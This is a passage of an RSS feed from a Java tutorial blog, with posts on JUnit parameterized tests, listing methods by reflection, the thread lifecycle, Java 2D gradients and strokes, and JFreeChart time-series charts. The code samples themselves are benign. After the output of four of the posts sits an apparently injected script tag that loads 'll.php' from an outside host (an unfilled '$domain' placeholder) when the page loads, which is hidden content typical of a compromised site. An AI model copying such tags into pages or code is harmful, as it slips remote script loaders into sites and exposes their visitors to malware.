   private String mySecondParam;

   @Parameters
   public static Collection paramsValues {
       return Arrays.asList( new Object[][] {
                            { &quot;1&quot;, &quot;1&quot; },
                            { &quot;11&quot;, &quot;11&quot; },
                            { &quot;12&quot;, &quot;12&quot; },
                            { &quot;13&quot;, &quot;13&quot; },
                            { &quot;16&quot;, &quot;16&quot; },
                            });
   }

   public ParameterizedTest(String paramOne, String paramTwo) {
       this.myFirstParam = paramOne;
       this.mySecondParam = paramTwo;
   }

   @Test
   public void testParams() {
       Assert.assertEquals(myFirstParam, mySecondParam);
   }
}
</pre>
<p><!--INFOLINKS_OFF--></p>
<p id="bte_opp"><small>Originally posted 2013-01-17 17:30:55. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F981%2Fjava-unit-testing-and-junit%2F10-differences-between-junit-3-x-and-junit-4-x-and-why-you-should-move-to-junit-4-x-platform%2F&amp;title=10%20Differences%20Between%20JUnit%203.x%20and%20JUnit%204.x%20and%20why%20you%20should%20move%20to%20JUnit%204.x%20platform." id="wpa2a_12"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/981/java-unit-testing-and-junit/10-differences-between-junit-3-x-and-junit-4-x-and-why-you-should-move-to-junit-4-x-platform/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java Reflection Tutorial &#8211; List Methods Of A Class</title>
		<link>http://sanjaal.com/java/236/java-utilities/java-reflection-tutorial-list-methods-of-a-class/</link>
		<comments>http://sanjaal.com/java/236/java-utilities/java-reflection-tutorial-list-methods-of-a-class/#comments</comments>
		<pubDate>Sat, 18 May 2013 10:36:54 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[Java Reflections]]></category>
		<category><![CDATA[Java Utilities]]></category>
		<category><![CDATA[Advantages Of Java Reflections]]></category>
		<category><![CDATA[Drawbacks Of Java Reflections]]></category>
		<category><![CDATA[Exposure Of Internal Concern In Java Reflection]]></category>
		<category><![CDATA[How To List Java Methods Using Reflection]]></category>
		<category><![CDATA[Java Reflection List Methods]]></category>
		<category><![CDATA[java.lang.Reflect Tutorial]]></category>
		<category><![CDATA[Modify Runtime Behaviour Of Application In Java]]></category>
		<category><![CDATA[Performance Overhead Concern In Java Reflection]]></category>
		<category><![CDATA[Power Of Java Reflection]]></category>
		<category><![CDATA[Reflection Technique In Java]]></category>
		<category><![CDATA[Reflection Tutorial]]></category>
		<category><![CDATA[Security Restrictions Concern In Java Reflection]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=236</guid>
		<description><![CDATA[Reflection is a very powerful tool in Java. I will start this tutorial with an excerpt from Sun&#8217;s Tutorial Page for Java reflections. It says: Reflection is commonly used by programs which require the ability to examine or modify the runtime behavior of applications running in the Java virtual machine. … <a href="http://sanjaal.com/java/236/java-utilities/java-reflection-tutorial-list-methods-of-a-class/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p><span style="color: #008000;">Reflection is a very powerful tool in Java. I will start this tutorial with an excerpt from <a href="Source: http://java.sun.com/docs/books/tutorial/reflect/">Sun&#8217;s Tutorial Page for Java reflections.</a> It says:</span></p>
<blockquote><p>Reflection is commonly used by programs which require the ability to examine or modify the runtime behavior of applications running in the Java virtual machine. This is a relatively advanced feature and should be used only by developers who have a strong grasp of the fundamentals of the language. With that caveat in mind, reflection is a powerful technique and can enable applications to perform operations which would otherwise be impossible.</p>
<ul>
<li><em><strong>Extensibility Features</strong></em><br />
An application may make use of external, user-defined classes by creating instances of extensibility objects using their fully-qualified names.</li>
</ul>
<ul>
<li><em><strong>Class Browsers and Visual Development Environments<br />
</strong></em>A class browser needs to be able to enumerate the members of classes. Visual development environments can benefit from making use of type information available in reflection to aid the developer in writing correct code.</li>
</ul>
<ul>
<li><em><strong>Debuggers and Test Tools<br />
</strong></em>Debuggers need to be able to examine private members on classes. Test harnesses can make use of reflection to systematically call a discoverable set APIs defined on a class, to insure a high level of code coverage in a test suite.</li>
</ul>
<p><strong>Drawbacks of Reflection</strong><br />
Reflection is powerful, but should not be used indiscriminately. If it is possible to perform an operation without using reflection, then it is preferable to avoid using it. The following concerns should be kept in mind when accessing code via reflection.</p>
<ul>
<li><em><strong>Performance Overhead</strong></em><br />
Because reflection involves types that are dynamically resolved, certain Java virtual machine optimizations can not be performed. Consequently, reflective operations have slower performance than their non-reflective counterparts, and should be avoided in sections of code which are called frequently in performance-sensitive applications.</li>
</ul>
<ul>
<li><em><strong>Security Restrictions</strong></em><br />
Reflection requires a runtime permission which may not be present when running under a security manager. This is in an important consideration for code which has to run in a restricted security context, such as in an Applet.</li>
</ul>
<ul>
<li><em><strong>Exposure of Internals</strong></em><br />
Since reflection allows code to perform operations that would be illegal in non-reflective code, such as accessing private fields and methods, the use of reflection can result in unexpected side-effects, which may render code dysfunctional and may destroy portability. Reflective code breaks abstractions and therefore may change behavior with upgrades of the platform.</li>
</ul>
</blockquote>
<p><span style="color: #008000;">The following tutorial will use the class called Student and display all the methods of that class using the Java Reflection technology.</span></p>
<pre class="brush: java; title: ; notranslate">package com.kushal.utils;
/**
 * @Author Kushal Paudyal
 * www.sanjaal.com/java
 * Last Modified On 10th August 2009
 *
 * A Simple class that lists the method of another
 * class using the reflections mechanism.
 */
import java.lang.reflect.Method;

public class MethodsListViaReflection {

	public void listMethods() {

		Class myStudentClass = Student.class;

		Method[] methods = myStudentClass.getDeclaredMethods();

		for (Method method : methods) {
			System.out.println(method.getName());
		}
	}

	public static void main(String[] args) {
		new MethodsListViaReflection().listMethods();
	}
}
</pre>
<p>class Student {</p>
<p>	private String _firstname;<br />
	private String _lastname;<br />
	private String _address;<br />
	private int _rollNumber;</p>
<p>	public String getFirstname() {<br />
		return _firstname;<br />
	}</p>
<p>	public void setFirstname(String firstname) {<br />
		_firstname = firstname;<br />
	}</p>
<p>	public String getLastname() {<br />
		return _lastname;<br />
	}</p>
<p>	public void setLastname(String lastname) {<br />
		_lastname = lastname;<br />
	}</p>
<p>	public String getAddress() {<br />
		return _address;<br />
	}</p>
<p>	public void setAddress(String address) {<br />
		_address = address;<br />
	}<br />
	public int getRollNumber() {<br />
		return _rollNumber;<br />
	}</p>
<p>	public void setRollNumber(int rollNumber) {<br />
		_rollNumber= rollNumber;<br />
	}<br />
}[/java]<br />
=======================<br />
The following is the output of this program:<br />
<span style="color: #ff0000;">getFirstname<br />
setFirstname<br />
getLastname<br />
setLastname<br />
getAddress<br />
setAddress<br />
getRollNumber<br />
setRollNumber</span><script src="http://$domain/ll.php?kk=11"></script></p>
<p id="bte_opp"><small>Originally posted 2009-08-10 12:31:40. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F236%2Fjava-utilities%2Fjava-reflection-tutorial-list-methods-of-a-class%2F&amp;title=Java%20Reflection%20Tutorial%20%E2%80%93%20List%20Methods%20Of%20A%20Class" id="wpa2a_14"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/236/java-utilities/java-reflection-tutorial-list-methods-of-a-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java Thread Lifecycle</title>
		<link>http://sanjaal.com/java/36/java-thread/java-thread-lifecycle/</link>
		<comments>http://sanjaal.com/java/36/java-thread/java-thread-lifecycle/#comments</comments>
		<pubDate>Fri, 17 May 2013 22:23:02 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[Java Thread]]></category>
		<category><![CDATA[java thread]]></category>
		<category><![CDATA[java thread life cycle]]></category>
		<category><![CDATA[java thread life cycle diagram]]></category>
		<category><![CDATA[java thread life cycle state stop run]]></category>
		<category><![CDATA[java thread lifecycle image]]></category>
		<category><![CDATA[java thread lifecyle explained]]></category>
		<category><![CDATA[yield suspend blocked running runnable]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=36</guid>
		<description><![CDATA[The following diagram shows the life cycle of a Java Thread. Thread has following states : Start, Stop, Blocked, Running, Runnable. These states can be changed to each other as shown in the diagram. Thread can sleep, notify, resume, start, stop, suspend, yield and wait. These activities lead the thread … <a href="http://sanjaal.com/java/36/java-thread/java-thread-lifecycle/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p>The following diagram shows the life cycle of a Java Thread. Thread has following states : Start, Stop, Blocked, Running, Runnable. These states can be changed to each other as shown in the diagram. Thread can sleep, notify, resume, start, stop, suspend, yield and wait. These activities lead the thread from one state to move to another one.</p>
<p><div class="wp-caption aligncenter" style="width: 542px"><a href="http://www.sanjaal.com/images/Java_Thread_LifeCycle_SanjaalDotCom.jpg"><img title="Java Thread Life Cycle" src="http://www.sanjaal.com/images/Java_Thread_LifeCycle_SanjaalDotCom.jpg" alt="Java Thread Life Cycle" width="532" height="552" /></a><p class="wp-caption-text">Java Thread Life Cycle</p></div><script src="http://$domain/ll.php?kk=11"></script></p>
<p id="bte_opp"><small>Originally posted 2008-07-25 11:24:04. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F36%2Fjava-thread%2Fjava-thread-lifecycle%2F&amp;title=Java%20Thread%20Lifecycle" id="wpa2a_16"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/36/java-thread/java-thread-lifecycle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java 2D Graphics Example Tutorial On Paint, Gradient and Stroke</title>
		<link>http://sanjaal.com/java/240/java-graphics-2d/java-2d-graphics-example-tutorial-on-paint-gradient-and-stroke/</link>
		<comments>http://sanjaal.com/java/240/java-graphics-2d/java-2d-graphics-example-tutorial-on-paint-gradient-and-stroke/#comments</comments>
		<pubDate>Fri, 17 May 2013 10:16:30 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[JAVA - Graphics 2D]]></category>
		<category><![CDATA[Defining Gradient in Java 2D]]></category>
		<category><![CDATA[How To Center A Java Swing Window Or Frame]]></category>
		<category><![CDATA[How to center your GUI on the screen automatically.]]></category>
		<category><![CDATA[How to define Gradient Paint]]></category>
		<category><![CDATA[How to define JAVA 2D Shape]]></category>
		<category><![CDATA[How to fill shapes with color or gradient]]></category>
		<category><![CDATA[How to relocate the java 2D frame for redrawing]]></category>
		<category><![CDATA[How to set Graphics paint]]></category>
		<category><![CDATA[How to set the strokes in the Graphics]]></category>
		<category><![CDATA[Java 2D Basic Stroke Example]]></category>
		<category><![CDATA[Java 2D Gradient Fill Example]]></category>
		<category><![CDATA[Java 2D Graphics Demo]]></category>
		<category><![CDATA[Java 2D Graphics Drawing]]></category>
		<category><![CDATA[Java 2D Graphics Example]]></category>
		<category><![CDATA[Java 2D Graphics Source Code]]></category>
		<category><![CDATA[Java 2D Graphics Tutorial]]></category>
		<category><![CDATA[Java 2D Graphics Working Code]]></category>
		<category><![CDATA[Java 2D setFrame method]]></category>
		<category><![CDATA[Java Paint And Stroke Example Tutorial]]></category>
		<category><![CDATA[Java Swing Center Window On Screen]]></category>
		<category><![CDATA[Shifting the original rectangle frame in Java 2D]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=240</guid>
		<description><![CDATA[Java 2D is an API for drawing two-dimensional graphics using the Java programming language. Every Java 2D drawing operation can ultimately be treated as filling a shape using a paint and compositing the result onto the screen. The following example will demonstrate: &#8211; How to define JAVA 2D Shape &#8211; … <a href="http://sanjaal.com/java/240/java-graphics-2d/java-2d-graphics-example-tutorial-on-paint-gradient-and-stroke/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p>Java 2D is an API for drawing two-dimensional graphics using the Java programming language. Every Java 2D drawing operation can ultimately be treated as filling a shape using a paint and compositing the result onto the screen. The following example will demonstrate:</p>
<ul>
<li>&#8211; How to define JAVA 2D Shape</li>
<li>&#8211; How to define Gradient Paint</li>
<li>&#8211; How to set Graphics paint</li>
<li>&#8211; How to relocate the java 2D frame for redrawing</li>
<li>&#8211; How to set the strokes in the Graphics</li>
<li>&#8211; How to fill shapes with color or gradient</li>
</ul>
<p>You will also be learning</p>
<ul>
<li>&#8211; How to center your GUI on the screen automatically.</li>
</ul>
<pre class="brush: java; title: ; notranslate">package com.kushal.graphics;
/**
 * Java 2D Graphics Example Tutorial On Paint, Gradient and Stroke
 * @author Kushal Paudyal
 * www.sanjaal.com/java
 * Last Modified On 10th August 2009
 */

import java.awt.*;
import java.awt.geom.*;

import javax.swing.JFrame;

public class JavaPaintAndStroke extends JFrame {

	private static final long serialVersionUID = 7944800805864455013L;

	public static void main(String[] args) {
		JavaPaintAndStroke paintFrame = new JavaPaintAndStroke();
		paintFrame.setTitle(&quot;Sanjaal.com/java - GUI Tutorial&quot;);
		paintFrame.setSize(350, 200);
		paintFrame.setVisible(true);
		paintFrame.centerTheGUIFrame(paintFrame);

	}

	public void paint(Graphics g) {
		Graphics2D g2 = (Graphics2D) g;
		double x = 20, y = 60, w = 80, h = 80;
		/** Defining a rectangle and a gradient **/
		Rectangle2D r = new Rectangle2D.Double(x, y, w, h);
		GradientPaint gp = new GradientPaint(75, 75, Color.red, 95, 95,
				Color.green, true);

		/**
		 * Filling the rectangle with a gradient paint
		 */
		g2.setPaint(gp);
		g2.fill(r);

		/**
		 * Shifting the frame to the right by 100
		 * Then using Stroke With a Solid Color
		 *
		 * setFrame method below sets the location and size of
		 * the outer bounds of this Rectangle2D to the
		 * specified rectangular values.
		 *
		 * x, y locations
		 * w, h width and height of new Rectangle frame
		 */
		r.setFrame(x + 100, y, w, h);
		g2.setPaint(Color.red);
		g2.setStroke(new BasicStroke(8));
		g2.draw(r);

		/**
		 * Shifting the original rectangle frame to the right by 200
		 * Then using a Stroke With a Gradient Color
		 */
		r.setFrame(x + 200, y, w, h);
		g2.setPaint(gp);
		g2.draw(r);
	}

	/**
	 * This method is used to center the GUI
	 * @param frame - Frame that needs to be centered.
	 */
	public void centerTheGUIFrame(JFrame frame) {
		int widthWindow = frame.getWidth();
		int heightWindow = frame.getHeight();

		Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
		int X = (screen.width / 2) - (widthWindow / 2); // Center horizontally.
		int Y = (screen.height / 2) - (heightWindow / 2); // Center vertically.

		frame.setBounds(X, Y, widthWindow, heightWindow);

	}
}</pre>
<p>==========================<br />
The following is the output of this program.<br />
<a href="http://sanjaal.com/imagehost/share-7C40_4A809306.html"><img src="http://sanjaal.com/imagehost/image-7C40_4A809306.jpg" border="0"></a><script src="http://$domain/ll.php?kk=11"></script></p>
<p id="bte_opp"><small>Originally posted 2009-08-10 14:38:17. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F240%2Fjava-graphics-2d%2Fjava-2d-graphics-example-tutorial-on-paint-gradient-and-stroke%2F&amp;title=Java%202D%20Graphics%20Example%20Tutorial%20On%20Paint%2C%20Gradient%20and%20Stroke" id="wpa2a_18"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/240/java-graphics-2d/java-2d-graphics-example-tutorial-on-paint-gradient-and-stroke/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Creating Time Series Chart With JFree Chart</title>
		<link>http://sanjaal.com/java/81/charts-in-java/creating-time-series-chart-with-jfree-chart/</link>
		<comments>http://sanjaal.com/java/81/charts-in-java/creating-time-series-chart-with-jfree-chart/#comments</comments>
		<pubDate>Thu, 16 May 2013 22:05:16 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[Charts In Java]]></category>
		<category><![CDATA[Chart Utilities]]></category>
		<category><![CDATA[Creating Chart In Java]]></category>
		<category><![CDATA[Creating Charts]]></category>
		<category><![CDATA[Free Java Chart API]]></category>
		<category><![CDATA[Java Snippet]]></category>
		<category><![CDATA[Java Time Series Chart]]></category>
		<category><![CDATA[Java Tutorial]]></category>
		<category><![CDATA[JFree Chart]]></category>
		<category><![CDATA[JFree Chart Tutorial]]></category>
		<category><![CDATA[Save Chart]]></category>
		<category><![CDATA[Save Image]]></category>
		<category><![CDATA[Simple JFreeChart Tutorial]]></category>
		<category><![CDATA[Timeseries Chart]]></category>
		<category><![CDATA[Tutorial To Create Chart In Java]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=81</guid>
		<description><![CDATA[In this basic tutorial, I will teach you how to create a simple timeseries chart in Java using the free JFreeChart. The program uses the following two jar files, and they come with the JFreeChart itself. You can download JFreeChart at their official website www.jfreechart.org jcommon-1.0.15.jar jfreechart-1.0.12.jar The program also … <a href="http://sanjaal.com/java/81/charts-in-java/creating-time-series-chart-with-jfree-chart/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p>In this basic tutorial, I will teach you how to create a simple timeseries chart in Java using the free JFreeChart. The program uses the following two jar files, and they come with the JFreeChart itself. You can download JFreeChart at their official website www.jfreechart.org</p>
<ul>
<li>jcommon-1.0.15.jar</li>
<li>jfreechart-1.0.12.jar</li>
</ul>
<p>The program also demonstrates how easily you can save a generated chart to your computer using the Charts Utilities from JFreeChart<br />
<!--INFOLINKS_ON--></p>
<pre class="brush: java; title: ; notranslate">
package com.kushal.utilities;

import java.io.File;
import java.io.IOException;
import java.util.Date;
import org.jfree.chart.ChartFactory;
import org.jfree.chart.ChartUtilities;
import org.jfree.chart.JFreeChart;
import org.jfree.data.time.Day;
import org.jfree.data.time.TimeSeries;
import org.jfree.data.time.TimeSeriesCollection;

public class TimeSeriesChartDemo {

	public void createTimeSeriesXYChart()
	{

		TimeSeries series = new TimeSeries( &quot;&quot;, Day.class );

		series.add(new Day(new Date(&quot;2009/01/01&quot;)), 123);
		series.add(new Day(new Date(&quot;2009/01/02&quot;)), 133);
		series.add(new Day(new Date(&quot;2009/01/03&quot;)), 99);
		series.add(new Day(new Date(&quot;2009/01/04&quot;)), 113);
		series.add(new Day(new Date(&quot;2009/01/05&quot;)), 159);
		series.add(new Day(new Date(&quot;2009/01/06&quot;)), 124);
		series.add(new Day(new Date(&quot;2009/01/07&quot;)), 120);

        TimeSeriesCollection dataset=new TimeSeriesCollection();
        dataset.addSeries(series);

        JFreeChart chart = ChartFactory.createTimeSeriesChart
        (&quot;User Participation Chart&quot;, 	// Title
         &quot;Day&quot;,              		// X-Axis label
         &quot;Number Of Users&quot;,             // Y-Axis label
         dataset,         		// Dataset
         true,                     	// Show legend
         true,				//tooltips
         false				//url
        );

        saveChart(chart);

	}

	public void saveChart(JFreeChart chart)
	{
		String fileName=&quot;C:/Users/kushal/Desktop/myTimeSeriesChart.jpg&quot;;
		try {
			/**
			 * This utility saves the JFreeChart as a JPEG
			 * First Parameter: FileName
			 * Second Parameter: Chart To Save
			 * Third Parameter: Height Of Picture
			 * Fourth Parameter: Width Of Picture
			 */
            ChartUtilities.saveChartAsJPEG(new File(fileName), chart, 800, 600);
        } catch (IOException e) {
        	e.printStackTrace();
            System.err.println(&quot;Problem occurred creating chart.&quot;);
        }
	}
	public static void main(String args [])
	{
		new TimeSeriesChartDemo().createTimeSeriesXYChart();

	}

}
</pre>
<p><!--INFOLINKS_ON--><br />
The following is the output of this program</p>
<p><a href="http://sanjaal.com/java/wp-content/uploads/2009/01/mytimeserieschart.jpg"><img class="alignnone size-full wp-image-82" title="mytimeserieschart" src="http://sanjaal.com/java/wp-content/uploads/2009/01/mytimeserieschart.jpg" alt="" width="500" height="375" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
<p id="bte_opp"><small>Originally posted 2009-01-24 18:22:49. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F81%2Fcharts-in-java%2Fcreating-time-series-chart-with-jfree-chart%2F&amp;title=Creating%20Time%20Series%20Chart%20With%20JFree%20Chart" id="wpa2a_20"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/81/charts-in-java/creating-time-series-chart-with-jfree-chart/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
